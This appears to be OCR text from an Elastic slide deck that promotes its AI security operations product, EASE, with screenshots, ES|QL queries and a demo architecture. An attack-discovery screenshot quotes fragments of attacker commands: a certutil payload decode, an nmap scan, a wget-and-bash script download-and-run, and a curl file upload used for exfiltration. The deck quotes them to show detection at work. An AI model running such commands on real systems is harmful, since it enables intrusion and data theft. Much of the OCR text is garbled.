Elastic finds them fast.
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Elastic Al SOC
Engine (EASE)
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Modern Detection
Without Rip and
Replace

Agentless SIEM/EDR
Integration

Elastic streams alerts from your

existing SIEM and XDR via open

APIs—no agents, no disruption,
just instant visibility.

Elastic lets you enhance your
existing stack with Al-driven
detection and investigation in
minutes. No disruption, just
immediate value.

% EASE

Delivering immediate value with zero disruption

________________ Elastic Al SOC Engine
(EASE)

Effortless and Streamlined
for expansion

EASE runs on a SaaS-native
architecture and launches in
minutes

Delivers Al capabilities in a flexible, affordable package—with a seamless path to full SIEM functionality when you're

ready.
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AGENTIC AT ¢¢°

Al for every task

Al in Elastic Security goes far beyond
chat by generating complex ES|QL
queries, detecting attacks, and more, all
through dedicated agentic workflows
built on open frameworks.
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NO VENDOR LOCK-IN
Your models, your choice

Whether you need faster responses, deeper
reasoning, or larger context windows, Elastic
supports all major commercial and open
source models. Want to keep it simple? A
default managed LLM is ready the moment
you launch Elastic Security, with no separate

bills or contracts.

J

Differentiation

Al that’s built in, not bolted on

(
RETRIEVAL AUGMENTED

GENERATION (RAG)
RAG keeps it real

Ground LLMs with your connected
knowledge sources — from threat intel to
internal systems, such as Github and Jira.
Elastic Security uses RAG with
Elasticsearch vector search and
embeddings (ELSER or your choice) to add
context to every Al response.
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DEPLOY YOUR WAY

Cloud? Air-gapped? @
On-prem? No problem.

Elastic Security runs your way: in Elastic
Cloud, in your own cloud with ECK, or on
bare metal. All Al features work
everywhere, with full parity. For air-gapped
or DIL environments, you can self-host
open source LLMs using vLLM, LM Studio,
and more.

J

AL GOVERNANCE 00
Safeguards for privacy °°
and control.

Elastic Security keeps you in control of your
Al. See and manage what data goes to
LLMs, anonymize or redact alert context,
apply RBAC, log all Al activity, audit any

€ changes, and track token usage with ease.

J
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https://www.elastic.co/docs/explore-analyze/machine-learning/nlp/ml-nlp-elser
https://www.elastic.co/docs/reference/kibana/connectors-kibana/elastic-managed-llm
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| Attack Discovery Al Assistant for Security Al Insights Reports Automatic Import
: Al analyzes every alert to Context-aware, RAG-powered Turn data into narrative — Sample a few logs. Get a
| uncover hidden threats — answers based on your data — executive-ready reports with complete, reusable pipeline -
| turning noise into signal-rich no tuning required. real insights, not just charts. instantly.
\ insights.
N e e e o o o e o e e e e e e e e e e o e e e e e o e e o o o o e e o o o o o o o o o o o o - —
Automatic . . Natural Language
Migration Automatic Troubleshooting Investigations
Migrate rules and queries in Reads error logs, suggests or Search in your own language —
minutes with summaries, match auto-applies fixes focus on your business, not
suggestions, and full control. vendor jargon.
s S — ”

All the benefits of EASE included for Elastic
Security users (and more)

e e i e Al for Security sl il ~o
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Tallored-UX

¥ Aiforsoc
t h t I Alert summary ==ww  Watch 2 minute overview video Add teammates om See Elastic Security in action
W I a g e I l e S S Attack discovery E Get acquainted with Elastic Security Increase collaboration across your org - Explore the demo, no setup required!
Watch video Add users (4 Explore Demo [4
EDR/SIEM
Configurations
. . Ingest your data
integration
C}, Add data with integrations 4integrations added A
4 integrations have been added Manage integrations >
N
a Splunk @ Google SecOps Microsoft Sentinel
fowstedby Hanic Al SEM [Unverfied () SIEM [ Unveifed () SiEM [ Unveified (]
Empowering SOCs for faster threat = = =
detection, Investigation, and response 1 Update available 7 Update available 1 Update available
19 Get started Q Sentinelone 5 N CrowdStrike
> Developer tools w EDRIXOR | Unverified EDRMOR
i3 Project Settings ~
Stack Management >
Integrations
e S ]
Billing and subscription 484 Add knowledge sources v
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Al-Driven
Attack
Discovery

that mirrors the
way analysts
think.

@i AlAssistant A

Attack discovery

L B Add integrations

v & Multi-Host Compromise and Exfil Attack chain: 5c00000c00:00c | Alerts: ] | Takeaction v

Attack from | @ srv-win-s1-rsa |by & james_spiteri led to exfilon @ srv-nix-es-rsa by 8 java . 7 View in Al Assistant

Attack discovery  Alerts

Summary

Attack started on G srv-win-si-rsa by & james_spiteri ,movedto @ srv-nix-es-rsa ( & java ), ended with data exfiltration.

Details

The attack began when & james_spiteri on @ srv-win-si-rsa opened a suspicious document [} Upcoming Events February 2018.xls  (

D \Devi i i iteril Jpcoming Events February 2018.xis ), triggering macro execution as indicated by % EXCEL.EXE  loading a vbe DLL (
i Jpcoming Events February 2018.xis" ). A registry key was created by the same process, suggesting persistence.
7Y4PEH1.exe ), decoding a payload into| [} K7Y4P6H1.exe . This executable was run (

*C:\Program o EL.EXE" "CA\L v
The macro spawned | &3 certutilexe ( certutil -decode C: txt C:

). The host @ srv-win-s1-rsa is marked as | extreme_impact . Following execution, the attacker

C:\Programdata\K7Y4P6H1.exe ), flagged as malicious (
.xmI 10.128.0.104 ) toscan @ 10128.0104 ( G2 srv-nix-es-rsa ), likely for lateral movement. The

used % nmap.exe ( nmap -p 8000-8080 -0X C:\Users\JAMES_~ ocaly
nmap process was launched by pythonw.exe and attributed to & james_spiteri .On G srv-nix-es-rsa , a suspicious child process was spawned by | java |( /homefjava/jdk1.8.0.181/bin/java ) running as

Bjava . The child| £ sh  executed a command to download and run a script ( fbin/sh -c wget -0 h .com/pwn.sh ..;; bash /home/java/pwn.sh ), indicating

upload ) was used to upload a file to Slack, suggesting data exfiltration.

exploitation, possibly via a vulnerable Java application. Shortly after, & curl |( curl -F fi ip ...
The timeline and direct network scan from @ srv-win-sl-rsa to @ srv-nix-es-rsa provide strong evidence of lateral movement, with the attacker compromising the Linux host and exfiltrating data via Slack.

Attack Chain
o o ) ) o o o o o
i<2 Reconnaissance Resource Development  Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discover

&

& @ v Exfilinvestigation
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Built-in
conversational
Al

that's much more
than a bolt-on

chatbot.

>l @ New chat

.i Automated Al conversations 2

+ Document the timeline of events for incident reporting
Investigation Steps

1. Analyze Authentication Patterns
Use the following ES|QL query to identify all login attempts from the source IP:

FROM logs-*
| WHERE source.ip == "172.16.0.10"
| WHERE event.category == "authentication" OR event.category == "session"

| STATS count = COUNT(*) BY event.outcome, destination.ip, user.name
| SORT count DESC

2. Identify Compromised Accounts

Use this query to find accounts that experienced failed attempts followed by successful logins:

FROM logs-*
| WHERE source.ip == "172.16.0.10"
| WHERE event.category == "authentication”

| SORT @timestamp

Ask me anything from 'summarize this alert' to 'help me build a query...!

Elastic

@ elastic



Agentless data
connhectors

pulling data from
Key data sources
into the Al

Assistant

¥ Aforsoc

Alert summary

Attack discovery

Cases

Configurations

Discover

Powered by Elastic Al

Empowering SOCs for faster threat
detection, investigation, and response.

19 Get started

<> Developer tools

18 Project Settings
Stack Management
Integrations

Billing and subscription

@

Create a connector

Extract, transform, index and sync data from a third-party data source.

© Start Start
Configuration Connector Connector name
- ﬁd [choose a data source v
Finish up
A Azure Blob Storage The connector name should be lowercase and cannot
contain spaces or special characters.
box  Box A Tech preview

: Confluence Cloud & Server
: Confluence Data Center A Tech preview

i) Customized connector [\ Self-managed

Configure index and API key

o

Ay

,.) Q This process will create a new index, API key, and a Connector ID. Optionally you can bring your own configuration as well.

4% Generate configuration &

X
a

-4
g

’e
124
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Why aren’t SREs using logs more?

-

Messy... and
unstructured

alaln
CIsco

Nagios’

Q
ORACLE %
‘) @ python

yfluentd

Lot of logs,
millions or more
of lines ...

All sorts of logs from
different systems, no
standard format

Java @elastic



The early days of ELK, using syslog data

>

*not actually magic, just
a well understood format
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Logs are back!

Introducing Streams - An Al-powered foundation to get more out of raw signals - easily

[ Automation with Elastic’s relevance-based Al J

iti i ianifi Generate
Partition Extract fields Find significant Automate

incoming data events visualizations RCA

The most information-dense signal to understand your workloads and investigate issues -
now with Al to harness it

@elastic



DEMO - Elastic Al
SOC Engine (EASE)



https://drive.google.com/file/d/17CQlOmYsyjWcjVnZ6UbjARW-BoqOF8hv/view?usp=drive_link
https://drive.google.com/file/d/17CQlOmYsyjWcjVnZ6UbjARW-BoqOF8hv/view?usp=drive_link

@ elastic

Cloud

Welcome to Elastic Cloud

Hosted deployments

20d

performance to your exact needs. Learn more

Serverless projects )

Project Type
EASE Demo ¥ Security
@ Support

Q Search documentation, guides, articles and more.

New to Elastic? Check out our step-by-step getting started resources
', For advanced guidance, see our documentation (7.

Contact support

eate hosted deployment

You have no hosted deployments yet

Deploy an Elastic Stack with all Search, Observability, and Security i ded. C ize its size and

Create serverless project

Cloud provider & region

GCP - Belgium (europe-west1) Open  Manage

C3  Training
Go deeper with hands-on training

Build essential skills and learn Elastic with free introductory training in
the Elastic Learning Portal

Elastic Learning Portal

[4 News

Transform your public sector organization with embedded GenAl from
Elastic on AWS

SEPTEMBER 4, 2025 New!

How Burgan Bank Tirkiye transformed observability and security with
Elastic

AUGUST 28,2025 New!

Elastic Cloud Serverless now avallable on Microsoft Azure in Ireland,
Australia, and Washington
AUGUST 28,2025 New!

&3 Community

Join an ElasticON event
Hear success stories, lessons learned, tips, tricks,
best practices, and funny anecdotes from Elastic...

Generative Al Workshop
SEPTEMBER 16, 09:00

Unlocking Data Resilience in Telecom: The Elastic Advantage
SEPTEMBER 17, 10:00

Events portal

Engage with our community! Visit our forum, join us on Slack, or
contribute to the Elastic Stack on GitHub.


https://docs.google.com/file/d/17CQlOmYsyjWcjVnZ6UbjARW-BoqOF8hv/preview

Demo Architecture

Architektur: Elastic Security Serverless

augmentiert Splunk Legacy SIEM —
il ) & )
Splunk Elastic Agent o
(Legacy SIEM) (with Splunk °
Integration Package) £
Network SpIUnk € 2 ;
Logs =~N— AP Ingestion §
E@t e »| | Splunk Integration -’» =
Rggtlg F(i’alllal?(lj(ef Enstglrl;)?lkse Secul’e, (Pollspsa;illj(nakgAeF“ fOI' : /! g
o Authenticated | | Notable Events & Logs) Normalized
Al ooy Data
\-[ Raw Lo gs ]__/ High-Frequenc.y) \ ~ J P (ECS)
Sy%og,A}S;e()EthF L
Enrichment & Feedback _ SOARIntegration H
Ticket Creation (Jira)

Automated Remediation Actions

(e.g., Block IP)

Elastic Security Serverless

(Security SIEM)

>

>

( Elastic Al Security Engineer )
(EASE)

« Autonomous Investigation & Response
* Threat Hunting Guidance
« Natural Language Interface

+ GenAl-powered Playbooks -3
. Securlty Al Assistant )
Co-pil o

Contextual T reat Analysis
+ Code Explanation & De-obfuscation

L = Custom Detection Rule Generation
- Pattern Recognition (GenAl)

» Incident Summary )
(@
- Automated Triage & Prioritization

Attack Discovery

(Generatlve Al)
« Identify Unknown Threats

~
\ - Mitre ATT&CK Mapping y,
N\
ﬁ) Al Use Cases
< Phishing Analysis
+ Malware Analysis

« Insider Threat Detection
\ + Cloud Security Posture y

. —
('SOC Dashboard & Visualization )J

Unified Security Operations Platform

(Correlated Insights & Automated Response Actions))
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